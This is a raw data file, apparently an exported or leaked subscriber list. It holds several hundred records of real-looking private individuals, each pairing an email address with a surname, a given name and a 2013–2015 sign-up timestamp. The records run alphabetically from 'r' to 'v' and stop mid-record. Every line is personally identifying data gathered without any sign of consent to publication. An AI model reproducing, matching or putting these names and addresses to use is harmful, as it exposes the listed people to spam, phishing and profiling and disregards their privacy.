+134;reynaud.marianne@gmail.com;2013-09-16 15:59:46;Reynaud;Marianne;1 +2408;rigault.annick@orange.fr;2014-06-02 15:15:59;Rigault;Annick-Claude ;1 +3867;riviere.emi@gmail.com;2014-11-03 17:21:58;Rivière;Emilie;1 +4353;robert.gillet2@free.fr;2014-12-08 09:59:09;GILLET;ANGELICA;1 +3955;robert.isabelle19@bbox.fr;2014-11-08 11:25:32;robert;isabelle;1 +4919;robert.poncet30@sfr.fr;2015-02-05 11:24:46;poncet;lucrece;1 +2833;robrt.collier@wanadoo.fr;2014-07-14 13:46:39;collier;muriel;1 +3953;roddya2@hotmail.fr;2014-11-08 09:18:00;Roselyne Philifert;roselyne;1 +260;roeckle.jean@orange.fr;2013-10-09 14:22:52;roeckle;myriam;1 +4794;roger.et.monique@hotmail.fr;2015-01-24 14:58:54;simonnet;monique;1 +172;roger.letellier0638@orange.fr;2013-09-25 13:58:14;letellier;Janine;1 +4086;rogerselicaers@live.be;2014-11-18 17:47:44;gerbrico;angelantonia;1 +3129;rogimi@aliceadsl.fr;2014-08-24 16:35:15;dubuc;marie christine;1 +4725;rolande.chapelle@orange.fr;2015-01-16 10:50:15;chapelle;Rolande;1 +3753;Rolland.mazenc@gmail.com;2014-10-27 17:45:19;Rolland;Dominique;1 +3592;romanitonia@gmail.com;2014-10-13 19:53:57;Romani;Tonia antoinette;1 +1212;rosa-maria83@hotmail.fr;2014-02-23 11:20:02;DESTI;Rose-marie;1 +3419;roseline.lemaitre@hotmail.fr;2014-09-25 10:25:40;Lemaître;Roseline;1 +3526;roselinec347@gmail.com;2014-10-06 17:00:06;Colella;Roseline;1 +647;roselyne.bernardo@total.com;2013-12-05 13:34:53;BERNARDO;ROSELYNE;1 +4244;roselyne.c@orange.fr;2014-12-01 07:55:12;CADONA;rOSELYNE;1 +2434;rosine.blanc@hotmail.fr;2014-06-04 12:58:37;BLANC;Rosine;1 +1853;roso.cupial@free.fr;2014-04-26 12:09:06;cupial;roland;1 +2960;rossetti973@gmail.com;2014-07-29 22:00:20;Luo;Mengdi;2 +4206;rossignol.nathalie@gmail.com;2014-11-28 10:15:05;rossignol;nathalie;1 +515;rossijeanmarc@orange.fr;2013-11-18 14:38:55;Rossi;Stéphanie;1 +2340;roue.fanny@orange.fr;2014-05-28 16:35:39;le roy;fanny;1 +1729;rousselalexia24@gmail.com;2014-04-17 16:23:19;roussel;Alexia;1 +1500;rousselflorence@yahoo.fr;2014-03-30 19:29:25;ROUSSEL;FLORENCE;1 +698;roussellesonia@yahoo.fr;2013-12-13 13:17:12;rousselle;sonia;1 +3264;rovela.myriam@gmail.com;2014-09-09 23:48:25;ROVELA;Myriam;1 +211;roxelane1@hotmail.com;2013-09-30 22:48:15;kalogiros;Ioanna;1 +559;rozenndarmois@hotmail.fr;2013-11-25 10:15:45;Darmois;Rozenn;1 +1628;rudyferron@hotmail.fr;2014-04-11 09:21:26;Roustan;Véronique;1 +2467;rynah@hotmail.fr;2014-06-07 17:34:28;VOIZENET;SABRINA;1 +2016;r_girardot@hotmail.fr;2014-05-04 14:23:59;HOSTEIN;RAPHAELLE ;1 +843;S-rougeot@hotmail.fr;2014-01-01 14:29:30;Rougeot;Sandra;1 +3527;S.ab69120@live.live.fr;2014-10-06 18:49:29;Kraria ;Sabrina ;1 +1301;s.collet@aliceadsl.fr;2014-03-07 10:21:30;collet;valerie;1 +4729;s.garrigos@yahoo.fr;2015-01-16 14:34:28;GARRIGOS;Sandrine;1 +2674;s.gervasi@hotmail.fr;2014-06-26 21:47:43;ROGER;SYLVIE;1 +2522;s.isa.69@hotmail.fr;2014-06-10 22:22:27;mattali;sofia;1 +348;s.jenot@orange.fr;2013-10-24 16:44:30;JENOT;Stéphanie;1 +2372;s.lamagere@orange.fr;2014-05-30 22:22:25;LAMAGERE;SYLVIA;1 +3870;s.nouy@hotmail.com;2014-11-03 18:03:50;Nouy;Samantha;1 +3501;s.tromeur@hotmail.fr;2014-10-04 08:23:36;tromeur;sarah;1 +3405;sabdol56@orange.fr;2014-09-23 16:38:23;dolo;sabrina;1 +4304;sabine.barnabe30@orange.fr;2014-12-05 15:46:53;SIMAR;DOMINIQUE;1 +3605;sabine.corazzi@antalis.com;2014-10-15 11:35:54;CORAZZI;sabine;1 +1877;sabine.regenass@gmail.com;2014-04-27 20:28:52;Regenass;Sabine;1 +2839;sabinebourrel@yahoo.fr;2014-07-14 19:27:24;Bourrel;sabine;1 +3137;sabrina.perriot@orange.fr;2014-08-25 17:29:17;perriot;sabrina;1 +4714;sailorsoune@hotmail.com;2015-01-14 19:25:39;CHAIZEMARTIN;Sandrine;1 +1160;saintmichel_virginie@yahoo.fr;2014-02-11 23:53:05;saint michel;virginie;1 +1783;salimasaadoun@yahoo.fr;2014-04-21 22:15:51;saadoun;salima;1 +524;sallard@omega-pharma.fr;2013-11-20 01:02:24;ALLARD;Séverine ;1 +3393;sallyliaoziyan@gmail.com;2014-09-22 06:24:23;Liao;Ziyan;2 +4386;salmakrita@gmail.com;2014-12-10 14:01:02;krita;salma;1 +4640;salucla24@live.fr;2015-01-03 22:39:45;Garcia;clarisse;1 +247;salvalai_family@libero.it;2013-10-07 15:45:20;parolini;cristina;1 +2035;Samia948000@yahoo.fr;2014-05-05 11:37:02;Amar bensabeur;Samia ;1 +1965;samiadany@yahoo.fr;2014-05-01 19:14:20;hamdani;samia;1 +4789;sampietro.m@gmail.com;2015-01-24 09:51:34;sampietro;marie;1 +2058;sand.gestin@bbox.fr;2014-05-06 15:46:21;gestin;sandrine;1 +1197;sandielucas@hotmail.com;2014-02-20 08:21:08;LUCAS;Sandie;1 +2295;sandra.espic@orange.fr;2014-05-25 14:28:03;LAUGIER;Sandra;1 +3037;sandra.zriem@sfr.fr;2014-08-08 14:04:48;zriem peyrefiche;Sandra;1 +2439;sandra1204@laposte.net;2014-06-04 15:09:50;fusillier;Sandra;1 +3308;sandrafoissacfabre@yahoo.fr;2014-09-12 21:52:47;fabre;sandra;1 +2764;sandramj@live.fr;2014-07-06 17:31:46;Mérah-Jacquet;Sandra;1 +2738;sandrine-fabre@wanadoo.fr;2014-07-03 14:17:33;fabre;sandrine;1 +1059;sandrine-muzard@orange.fr;2014-01-30 17:56:00;MUZARD;Sandrine;1 +1802;sandrine.ales@aliceadsl.fr;2014-04-23 11:33:02;ROUX;Sandrine;1 +1161;sandrine.auguste45@sfr.fr;2014-02-12 13:09:48;auguste;sandrine;1 +538;sandrine.brousse@neuf.fr;2013-11-22 13:39:54;brousse;sandrine;2 +1081;sandrine.carter@gmail.com;2014-02-02 11:12:52;carter;sandrine;1 +3539;sandrine.chaurin@yahoo.fr;2014-10-07 20:50:04;chaurin;sandrine;1 +3348;sandrine.laurent@me.com;2014-09-18 10:30:22;Laurent;Sandrine;1 +4283;SANDRINE.LHERMITTE8@ORANGE.FR;2014-12-03 16:03:21;lhermitte;sandrine;1 +3124;sandrine.paggen@skynet.be;2014-08-23 23:23:20;Paggen;Sandrine;1 +4631;sandrine.prunet@sfr.fr;2015-01-02 20:43:53;PRUNET COUDERC;SANDRINE;1 +1561;sandrine.urcun@neuf.fr;2014-04-06 00:43:43;urcun;sandrine;1 +3668;sandrinebneve@orange.fr;2014-10-19 21:05:59;NEVE;SANDRINE;1 +2286;sandrineetlorenso@hotmail.fr;2014-05-24 19:23:45;VIVES SERVERA;SANDRINE;1 +4678;sandrine_dujardin@hotmail.fr;2015-01-09 00:49:21;DUJARDIN;SANDRINE;1 +745;sandy.web@hotmail.fr;2013-12-17 10:38:04;webers;sandrine;1 +4140;Sanehr@hotmail.fr;2014-11-23 09:32:07;Ehrard;Sandra;1 +4589;sara.ellena.d@gmail.com;2014-12-27 21:59:00;Ellena;Sara;1 +1090;sara.lecointre@ebuyclub.com;2014-02-02 16:29:16;MAHY LECOINTRE;Sara;1 +875;sarah.duf@hotmail.fr;2014-01-06 19:22:08;Dufour;Sarah;1 +1200;sarah.pelletier89@hotmail.fr;2014-02-20 21:46:38;pelletier;sarah;1 +3512;sarahcurtaud@yahoo.fr;2014-10-05 13:37:12;CURTAUD;SARAH;1 +692;sarahmangold@hotmail.com;2013-12-12 22:03:37;Mangold;Sarah ;1 +2409;sardine.pomies@orange.fr;2014-06-02 16:03:23;POMIES;Sandrine;1 +852;sas@compaqnet.be;2014-01-02 19:18:35;Soares;sandra;1 +1537;Saskiapaulmier@gmail.com;2014-04-03 10:08:44;Paulmier ;Saskia ;1 +3830;sassa_b_67280@hotmail.com;2014-11-02 12:06:36;vitel;sarah;1 +3528;saulnierclaire@orange.fr;2014-10-06 20:09:01;SAULNIER;CLAIRE;1 +2273;saxette@orange.fr;2014-05-23 19:38:52;CHAPPE;JULIETTE;1 +2478;sbestaven@aol.com;2014-06-08 10:36:33;BESTAVEN;LILIANE;1 +1744;scarlette.paris75@gmail.com;2014-04-18 13:55:40;THEODET;ARLETTE;1 +1737;schapron@wanadoo.fr;2014-04-18 09:38:35;levacher;ghyslaine;1 +783;sd56@hotmail.fr;2013-12-21 17:55:30;DUMOULIN;SOPHIE;1 +2140;seabhac2@hotmail.com;2014-05-13 14:16:40;queille;sylvie;1 +1005;sebbanekeira@live.fr;2014-01-25 19:47:31;sebbane;keira;1 +1209;secretlicorne@aol.com;2014-02-22 17:11:21;DOUSSOT;Irène;1 +4078;sega.sarl@wanadoo.fr;2014-11-18 09:03:32;ALARCON;CAROLE;1 +212;selarlgrandepharmaciedelaboele@orange.fr;2013-10-01 14:13:26;Delloitte;Corinne;1 +832;Selol@live.fr;2013-12-29 21:01:03;Guigli;Laure;1 +4057;serge.christophe2@wanadoo.fr;2014-11-16 16:50:15;CHRISTOPHE;Chantal;1 +1508;sevegnac@orange.fr;2014-03-31 04:56:34;trintignac;severine;1 +1845;Severine.belgrine@free.fr;2014-04-25 22:41:43;Belgrine;Severine;1 +3808;severine.fouillen@sfr.fr;2014-10-31 18:18:46;FOUILLEN;SEVERINE;1 +142;severine.grenet.04@orange.fr;2013-09-18 16:05:10;doux;severine;1 +1438;Severine.mandairon@orange.fr;2014-03-24 22:14:36;Mandairon;Severine;1 +4686;severine.raulais@orange.fr;2015-01-10 11:02:40;belliot;severine;1 +3315;severine.sarrette@orange.fr;2014-09-13 18:30:16;sarrette;séverine;1 +1409;severinebessiere@gmail.com;2014-03-21 17:40:30;bessiere;severine;1 +2079;sevrez.emanuel@orange.fr;2014-05-08 14:41:33;sevrez;emmanuelle;1 +4141;sevso@hotmail.com;2014-11-23 09:41:18;Sevestre;Sophie;1 +2722;sgraissaguel@club-internet.fr;2014-07-01 17:30:22;GRAISSAGUEL;SARAH;1 +933;sh--cc@hotmail.com;2014-01-15 19:07:48;SHENG;Hui;1 +4926;shando90210@aol.com;2015-02-05 18:44:36;halfaoui;samia;1 +4658;shayna77@hotmail.fr;2015-01-07 14:17:10;gach;sophie;1 +1607;shirleymromao@gmail.com;2014-04-09 00:19:36;Shirley;Shirley;1 +1955;siana1987@hotmail.com;2014-05-01 14:31:54;GUILLOT;Anais;1 +92;sibo@monaco.mc;2013-09-05 11:27:01;bozzone;silvia;1 +4885;sibottier@gmail.com;2015-02-01 22:07:38;REUILLON SIBOTTIER;GAELLE;1 +332;sibylline68@hotmail.com;2013-10-22 12:06:33;Rovero;Isabelle;1 +3383;sihem.aa@live.fr;2014-09-20 17:20:53;sahour;sihem;1 +437;sil.malie@gmail.com;2013-11-08 12:28:21;leguevaques;sylvie;1 +3615;silviadepaulapinto@gmail.com;2014-10-15 21:19:38;paula pinto;silvia;1 +4681;silviafiora@libero.it;2015-01-09 15:52:36;fioravanti;silvia;1 +1547;silviaszczupak@yahoo.fr;2014-04-04 18:31:11;Szczupak;Silvia;1 +653;simiandmartine@free.fr;2013-12-06 12:51:46;SIMIAND;Martine;1 +2746;simste@wanadoo.fr;2014-07-04 16:41:00;SIMONI;Marie alice ;1 +1248;sinraya@laposte.net;2014-02-28 11:16:07;LACROIX;SINDY;1 +677;sireflores@yahoo.es;2013-12-11 15:03:37;Manuel;Sire Flores;1 +4095;siria.13@hotmail.fr;2014-11-19 04:47:20;Bouanane;Florine;1 +2169;sisyl13@hotmail.fr;2014-05-15 10:32:41;LESAGE;Sylviane;1 +2998;sjundt@orange.fr;2014-08-03 19:36:57;JUNDT;Sylvie;1 +4668;skaly@hotmail.fr;2015-01-07 23:59:21;mancel;marie;1 +282;slechauve@hotmail.fr;2013-10-14 17:21:37;helfried;stephanie;1 +3385;slei8.lei@gmail.com;2014-09-21 06:57:52;Lei;Shidi;2 +4042;slepavec@wanadoo.fr;2014-11-15 23:18:38;GUILBERT;Sandrine;1 +913;smallpouss@hotmail.fr;2014-01-11 22:22:37;venant;christine;1 +2353;snap09@sfr.fr;2014-05-29 10:34:31;CLIQUE;Katia;1 +1166;so.cuny@hotmail.fr;2014-02-12 20:53:52;cuny;sophie;1 +4689;so.fery@hotmail.fr;2015-01-11 00:07:46;fery;sonia;1 +4937;so.terrier@wanadoo.fr;2015-02-07 16:32:58;LENNE TERRIER;SOPHIE;1 +1846;sofiab_3@hotmail.com;2014-04-25 22:56:38;Branco;Sofia;1 +4731;Sofiakhen@yahoo.fr;2015-01-16 18:59:28;Khen;sofia;1 +4545;sogrimard@hotmail.com;2014-12-20 22:34:05;Grimard;Sophie;1 +3366;soizic.paul@yahoo.fr;2014-09-19 17:22:02;henry;Soizic;1 +1610;solange.barbier@sfr.fr;2014-04-09 10:50:55;barbier;solange;1 +2329;solenalesann@yahoo.com;2014-05-27 22:56:35;LE SANN-JAMES;SOLENA;1 +1956;solene_ack@hotmail.com;2014-05-01 15:22:47;Kramer;Anne-Claire;1 +1219;solo-ha@rambler.ru;2014-02-23 17:30:15;Orlova;Alexandra;1 +2593;sonia.908@orange.fr;2014-06-18 12:00:05;genevois;sonia;1 +166;sonia.candolfi@hispeed.ch;2013-09-24 11:15:37;Candolfi;Sonia;1 +501;sonia.enderlin@neuf.fr;2013-11-15 23:17:17;enderlin;sonia;1 +2160;sonia.ferdinand@orange.fr;2014-05-14 19:41:56;ferdinand;sonia;1 +265;sonia.larrue@wanadoo.fr;2013-10-10 01:09:32;GADRAT;SONIA;1 +2990;sonia.pirot@orange.fr;2014-08-02 20:00:54;pirot;sonia;1 +303;sonia6633@hotmail.fr;2013-10-17 19:48:46;paredes;sonia;1 +1260;soniamarguet@gmail.com;2014-03-01 21:12:35;MARGUET;Sonia;2 +1282;soniasalguero@sfr.fr;2014-03-04 16:53:17;SALGUERO;Sonia;1 +60;soon1972@hotmail.fr;2013-08-24 14:59:39;hofmann;cécile;1 +379;sop.lointier@wanadoo.fr;2013-10-29 18:26:25;LOINTIER;SOPHIE;1 +3766;sophia.etoil@orange.fr;2014-10-28 17:43:04;bruni;sophia;1 +4073;sophie-enzo@outlook.com;2014-11-17 20:18:25;MOUREMBLES;SOPHIE;1 +1873;sophie.braisaz66@orange.fr;2014-04-27 18:18:14;braisaz;sophie;1 +1214;sophie.cdm@gmail.com;2014-02-23 15:14:47;DE MEDINA-COHEN;SOPHIE;1 +3990;sophie.lemmet@gmail.com;2014-11-11 14:31:58;lemmet;sophie;1 +2265;sophie.lepine632@orange.fr;2014-05-22 22:55:21;lepine;sophie;1 +1911;sophie.marche@orange.fr;2014-04-30 09:32:35;MARCHE;SOPHIE;1 +965;sophie.metayer@hotmail.fr;2014-01-20 19:39:23;metayer;sophie;1 +4550;sophie.montre@laposte.net;2014-12-21 17:48:17;MONTRE;Sophie;1 +4265;sophie.munster@yahoo.fr;2014-12-02 12:20:38;Munster;Sophie;1 +1664;sophie.ortega@me.com;2014-04-13 18:33:57;ORTEGA;SOPHIE;1 +4158;sophie.papeil@wanadoo.fr;2014-11-24 19:50:53;Papeil;Sophie;1 +911;sophie.queval@orange.fr;2014-01-11 21:29:30;queval;sophie;1 +787;Sophie.serna@hotmail.fr;2013-12-22 17:30:21;Serna;Sophie;1 +2234;sophie.vantieghem@gmail.com;2014-05-20 23:58:56;Vantieghem;Sophie;1 +2448;sophie.vendange@free.fr;2014-06-05 08:21:36;vendange;sophie;1 +2315;sophie0202@hotmail.fr;2014-05-26 21:44:34;NOULIN;Sophie;1 +1857;Sophieattal@aol.com;2014-04-26 14:34:59;Lemanissier ;Sophie ;1 +3602;sophiedacosta.1973@gmail.com;2014-10-14 14:58:54;Da costa;Sophie;1 +299;sophiedoue@hotmail.fr;2013-10-17 10:54:10;Boché;Sophie;1 +1087;sophieetmarco2011@hotmail.fr;2014-02-02 15:09:28;MARUANI;SOPHIE;1 +1142;sophiepoulain1@hotmail.com;2014-02-09 16:04:07;Poulain;Sophie;1 +3630;sophierdrgz0@gmail.com;2014-10-17 09:39:41;Rodriguez;Sophie;1 +4749;sophizzz.b@gmail.com;2015-01-19 16:07:58;Burcker;Sophie;1 +1298;sopicavet@hotmail.fr;2014-03-06 15:04:06;PICAVET;Sophie;1 +652;soquiquan@gmail.com;2013-12-05 22:59:40;QUIQUANDON ;Sophie;1 +3649;Soso-biskra@hotmail.fr;2014-10-19 00:04:15;MEKHLOUF;SORAYA;1 +1245;soumcatherine52@gmail.com;2014-02-27 21:50:07;soum;catherine;1 +4976;so_roux@yahoo.com;2015-02-09 11:26:00;BECKER;Sonia;1 +3964;spaquelier@yahoo.fr;2014-11-09 08:42:14;paquelier;Sylvie;1 +4716;sparkyt76@hotmail.com;2015-01-14 20:54:00;tang;xiaoying;2 +3052;spawn@lagoon.nc;2014-08-11 07:37:12;MORAIN;SANDRINE;1 +1689;Sprietc@yahoo.fr;2014-04-15 11:04:30;Spriet;Coralie;1 +3040;st.ilic@laposte.net;2014-08-08 22:34:33;ilic;stephanie;1 +4743;stargate0185@gmail.com;2015-02-05 02:13:07;Noilou;Angélique;1 +4221;Stefanie.pollet@telenet.be;2014-11-29 16:02:29;Pollet;Stefanie;1 +1540;stefele1972@hotmail.fr;2014-04-03 15:13:33;MATHE;STEPHANIE;1 +397;steff40440@live.fr;2013-11-01 21:06:05;fernandez;stephanie;1 +1685;stefie.sol@orange.fr;2014-04-14 20:48:15;soleymat;stephanie;1 +1265;steflomonaco@gmail.com;2014-03-02 13:38:11;lo monaco ;stephanie ;1 +3439;steph.godar@gmail.com;2014-09-29 14:43:58;Godar;Stéphanie;1 +4758;stephane.chaignaud@sfr.fr;2015-01-20 20:23:28;chaignaud;nadine;1 +13;stephane@castoretpollux.com;2013-09-17 10:04:21;Clousier;stephane;1 +68;Stephanie.jallier@orange.fr;2013-08-27 14:04:14;Jallier;Stephanie;1 +2558;stephanie.lescot@bbox.fr;2014-06-14 18:55:13;LESCOT;STEPHANIE;1 +4198;stephaniedemortain@gmail.com;2014-11-27 16:14:28;de Mortain;Stéphanie;1 +2735;stephaniemarechal6795@neuf.fr;2014-07-02 23:42:09;marechal;stephanie;1 +2837;stephaniepaire@aol.com;2014-07-14 17:49:19;PAIRE;STEPHANIE;1 +2877;stephanievictoirej@gmail.com;2014-07-19 18:58:10;STEPHANIE-VICTOIRE;Jenny;1 +1279;stephanie_terriere@hotmail.fr;2014-03-04 11:11:22;TERRIERE;STEPHANIE;1 +4041;stephaniie-f@hotmail.fr;2014-11-15 22:08:09;foutrin;stephanie;1 +4045;Stephiroux@live.fr;2014-11-16 08:58:44;Roux;Stephanie;1 +739;stephmartinez@voila.fr;2013-12-16 20:58:46;martinez;stephanie;1 +2400;stephred34@yahoo.fr;2014-06-02 11:22:37;GAILLARD;STEPHANIE;1 +254;sterenn27@gmail.com;2013-10-08 16:54:34;ROLLAND;Agnès;1 +2034;stessy@choosit.com;2014-05-05 11:23:29;HURIER;STESSY;1 +821;stfrc@wanadoo.fr;2013-12-29 01:25:45;COUDERC;Martine;1 +2492;stievenard.valerie@neuf.fr;2014-06-09 11:07:09;jesupret;valerie;1 +4027;stjo_ibrochard@yahoo.fr;2014-11-15 10:21:17;BROCHARD;ISABELLE;1 +1335;strausbchic@orange.fr;2014-03-11 15:16:42;poireau;annick;1 +4650;sunlate@wanadoo.fr;2015-01-06 15:03:38;POSCIA;Sandra;1 +2539;sunshinechenyc@gmail.com;2014-06-12 14:43:52;Chen;Yanchen;1 +2985;Sunshinemarina@hotmail.com;2014-08-02 11:15:53;Min;Xiaomao;2 +683;sup3rnana@hotmail.fr;2013-12-11 23:25:18;MEREL;HELENE;1 +3107;suzanne.lebar@hotmail.fr;2014-08-20 07:13:48;CORREARD;SUZANNE;1 +200;suzanne.naturale@wanadoo.fr;2013-09-27 16:10:23;NATURALE;Suzanne;1 +198;suzanne.ortega@univ-montp1.fr;2013-09-27 13:30:27;ortega;suzanne;1 +2493;svetange@orange.fr;2014-06-09 11:13:06;Angelergues;Svitlana;1 +4292;svion76@yahoo.fr;2014-12-04 10:31:21;VION;STEPHANIE;1 +1687;sy.nuret@gmail.com;2014-04-15 02:25:34;NURET;Sylvie;1 +1227;syao8482@hotmail.fr;2014-02-24 19:35:05;Piasentier;Virginie;1 +4139;sybella.napoleon@gmail.com;2014-11-23 09:03:01;Napoleon;Sybella;1 +98;sylbers2@orange.fr;2013-09-08 15:16:12;bersot;sylvie;1 +3679;sylmen60@gmail.com;2014-10-21 11:44:45;MENARD;Sylviane;1 +2262;sylsofma@yahoo.com;2014-05-22 19:10:32;Pirodon;Sophie;1 +1049;sylure98@gmail.com;2014-01-30 01:50:50;LAPLANCHE;SYLVIE;1 +2536;sylvainelourdel@yahoo.fr;2014-06-12 10:36:30;Quélin;Sylvaine;1 +1138;sylvia.gg@orange.fr;2014-02-08 15:39:38;goubert;sylvia;1 +3352;sylviane.dasilva8@gmail.com;2014-09-18 14:06:09;Da Silva;Sylviane;1 +1579;sylviane.meline@orange.fr;2014-04-07 16:10:00;MELINE;Sylviane;1 +2692;sylvianeh@orange.fr;2014-06-28 18:05:28;LESAFFRE;Sylviane;1 +4105;sylvie.3741@orange.fr;2014-11-19 16:36:44;GUILLAUME;SYLVIE;1 +176;sylvie.aupic@neuf.fr;2013-09-25 15:07:36;aupic;sylvie;1 +4871;sylvie.besson322@gmail.com;2015-01-31 20:17:28;besson;sylvie;1 +1915;sylvie.bican@gmail.com;2014-04-30 14:27:33;bican;sylvie;1 +3220;sylvie.cremaschi@mac.com;2014-09-04 14:08:27;Cremaschi;Sylvie;1 +106;sylvie.duthilleul@orange.fr;2013-09-11 13:49:18;DUTHILLEUL;Sylvie;1 +2142;sylvie.fabre24@orange.fr;2014-05-13 17:04:49;fabre;sylvie;1 +2619;sylvie.fieux@free.fr;2014-06-20 21:51:30;fieux;sylvie;1 +1047;sylvie.h83@orange.fr;2014-01-29 18:33:34;HEBERT;Sylvie;1 +238;sylvie.hadey@bbox.fr;2013-10-06 14:41:05;Hadey;Sylvie;1 +2099;sylvie.janniard@free.fr;2014-05-10 10:33:46;JANNIARD;SYLVIE;1 +4927;sylvie.quenard@orange.fr;2015-02-05 20:18:21;QUENARD;sylvie;1 +1128;sylvie.quillon@wanadoo.fr;2014-02-06 09:40:27;QUILLON;Sylvie;1 +620;sylvie.richez@live.fr;2013-12-03 16:40:33;RICHEZ COUTELET;Sylvie;1 +842;sylvie.schnyder@sfr.fr;2014-01-01 09:55:50;SCHNYDER;SYLVIE;1 +4535;sylvie.wunderle@quatrem.fr;2014-12-19 15:47:40;wunderle;sylvie;1 +533;sylviebataillard@sfr.fr;2013-11-21 12:58:47;bataillard;sylvie;1 +1679;sylviecity@hotmail.fr;2014-04-14 11:44:50;roux;sylvie;1 +971;sylviegaudreault67@gmail.com;2014-01-21 17:39:08;Gaudreault ;Sylvie;1 +3229;sylviegiuranna@sfr.fr;2014-09-05 11:45:38;giuranna;sylvie;1 +343;sylyane@sfr.fr;2013-10-23 18:39:27;marinier;sylvie;1 +1292;symagibl@gmail.com;2014-03-05 18:56:39;BLANC;SYLVIE;1 +1425;Syvacas@gmail.com;2014-03-23 15:52:54;Vacas;Sylvie;1 +488;szabo.brigitte@orange.fr;2013-11-14 14:37:20;szabo;Brigitte;1 +2089;szewczyk.cindy@laposte.net;2014-05-09 10:32:36;SZEWCZYK;Cindy;1 +1389;s_ferrara@yahoo.com;2014-03-19 13:09:23;Ferrara;Sara;1 +4701;t-noisette@hotmail.fr;2015-01-12 20:23:56;MESNIER;Meggy;1 +634;t.khoth@gmail.com;2013-12-04 17:32:51;khoth;theavy;1 +2637;talanie@laposte.net;2014-06-22 21:07:30;rolle;Nathalie;1 +3628;talia9577@hotmail.fr;2014-10-16 23:22:23;Rodrigues Da Costa;Nathalie;1 +3563;talon.karine@orange.fr;2014-10-10 22:45:16;talon;karine;1 +3667;tanneau.claude@wanadoo.fr;2014-10-19 20:58:10;TANNEAU;Pierrette;1 +636;taosaline@hotmail.fr;2013-12-04 19:34:17;magron;vanessa;1 +1235;taragonzalez0487@gmail.com;2014-02-26 16:36:50;gonzalez;joanna;1 +334;tardos.mylene@orange.fr;2013-10-22 13:44:31;tardos;mylene;1 +1841;tatachou@orange.fr;2014-04-25 18:54:33;MAROUDY;Nicole;1 +2019;tatiana_m69@hotmail.com;2014-05-04 15:14:57;MAKAR;TATIANA;1 +2087;taxi.lechevanton@orange.fr;2014-05-09 10:09:40;LE CHEVANTON;Muriel;1 +1943;tchoony@yahoo.fr;2014-05-01 11:00:17;branchard;frederique;1 +2879;tecnicamoura@gmail.com;2014-07-20 10:34:50;Oliveira;Ana Luisa Moura;2 +3142;tellierbernadette@outlook.fr;2014-08-25 21:21:49;TELLIER;Bernadette;1 +3086;tequila33@wanadoo.fr;2014-08-15 21:51:04;denant;michele;1 +3460;tequiladrenaline@gmail.com;2014-09-30 17:30:30;Allard;Aline;1 +2267;th-furio@hotmail.com;2014-05-23 10:00:06;Furio;Thierry;1 +3516;thalymaxjo@hotmail.fr;2014-10-05 17:19:44;monge;nathalie;1 +2118;the.princess56@hotmail.fr;2014-05-11 20:14:22;FLEGEO;Emelyne;1 +4306;thibault@antadis.com;2014-12-05 17:00:03;GUILLAUME;Thibault;1 +4851;thiebaudyvette25@orange.fr;2015-01-29 10:59:49;mirabeau;yvette;1 +3812;thierry.caroline@gmail.com;2014-11-01 01:29:53;THIERRY;Caroline;1 +1596;thierry.julien786@orange.fr;2014-04-08 14:17:09;jullien;veronique;1 +162;thierry.leroy0136@orange.fr;2013-09-23 07:46:37;leroy;martine;1 +2772;thierry.pensec@orange.fr;2014-07-07 14:15:37;pensec;annie;1 +3240;thierry.petit@free.fr;2014-09-07 10:33:09;petit;thierry;1 +376;thieux.christine@orange.fr;2013-10-29 15:26:13;THIEUX;CHRISTINE;1 +4023;tigresse1262@hotmail.fr;2014-11-14 22:33:18;pruvost;marie noelle;1 +2282;timothe38@hotmail.fr;2014-05-24 13:04:15;favier ;timothée;1 +3186;tingchen33@hotmail.com;2014-08-30 04:45:51;Ting;Chen;2 +4605;tintaglia@wanadoo.fr;2014-12-30 11:25:48;Léguillette;Claire;1 +3921;tiphaine6080@aol.com;2014-11-05 22:56:32;Vandroth;Tiphaine;1 +5000;tiphainel@hotmail.com;2015-02-10 22:16:32;LEHUEDE;TIPHAINE;1 +3708;tipotambleu1966@hotmail.fr;2014-10-23 20:35:48;combot;catherine;1 +3326;titiarenou@orange.fr;2014-09-15 09:26:28;RENOU;LAETITIA;1 +1700;tititte_11@hotmail.com;2014-05-26 19:11:47;JEANJEAN;Muriel;1 +2934;titoluigi.cipollini@fastwebnet.it;2014-07-27 17:07:20;cadario;maria;1 +1784;Ti_tiavig@hotmail.fr;2014-04-22 07:05:08;Midolo;Laetitia ;1 +4100;tjp@hotmail.fr;2014-11-19 11:36:48;TAVERA;JEAN PIERRE;1 +1848;tolassyec@live.fr;2014-04-26 03:41:57;TOLASSY;Elodie;1 +1945;tonyemiliedavid@hotmail.fr;2014-05-01 11:40:21;Raimbault;RAIMBAULT;1 +3641;toonaustin@hotmail.fr;2014-10-18 07:58:56;marciano;jocelyne;1 +4860;toparcste@gmail.com;2015-01-30 15:23:17;Stéphanie;Pires;1 +3614;trbots@gmail.com;2014-10-15 19:32:22;bots;Sylviane;1 +243;TREETS64@LAPOSTE.NET;2013-10-07 11:04:04;TEXIER;Catherine;1 +4836;tressud@wanadoo.fr;2015-01-27 15:38:34;giovanangeli;dominique;1 +2860;tricia48@hotmail.fr;2014-07-18 00:07:25;Rossi;Patricia;1 +4706;tsarenaux@gmail.com;2015-01-13 13:28:25;RENAUX;Thierry;1 +1880;tthierrymartin@aol.com;2014-04-28 07:27:36;martin;Jana;1 +1;ultima_csplayer@hotmail.com;2013-05-06 11:06:48;Ankri;Paola;1 +2864;v.rostagni@gmail.com;2014-07-18 12:55:53;Rostagni;Virginie;1 +1612;v.verzi@gmail.com;2014-04-09 14:15:23;verzi;veronique;1 +3235;vahine47@hotmail.fr;2014-09-06 13:16:19;VASSE;GHISLAINE;1 +1213;val-taillandier@orange.fr;2014-02-23 14:51:53;TAILLANDIER;Valérie;1 +1717;val.basque@gmail.com;2014-04-16 22:14:15;basque;valerie;1 +2232;Valbianchi72@alice.it;2014-05-20 23:06:38;Valeria Lucia;Bianchi;2 +3397;valdegap@orange.fr;2014-09-22 17:10:15;CAMUS;VALERIE;1 +3759;valericdenier@free.fr;2014-10-28 05:40:40;denier;Valérie;1 +3115;valerie.andreozzi@gmail.com;2014-08-21 19:20:40;andreozzi gozzi;valerie;1 +1655;Valérie.casimiro@gmail.com;2014-04-13 14:30:45;CASIMIRO ;Valérie ;1 +3569;valerie.duche@free.fr;2014-10-12 10:33:52;duche;valerie;1 +592;valerie.lemaitre51@sfr.fr;2013-11-29 17:38:50;LEMAITRE LECLERC;Valerie;1 +2914;valerie.mordasini@wanadoo.fr;2014-07-24 17:48:12;mordasini-cariven;valérie ;1 +361;valerie.rambaud@laposte.net;2013-10-27 10:20:52;Rambaud;valerie;1 +2197;valerie.trevien@orange.fr;2014-05-17 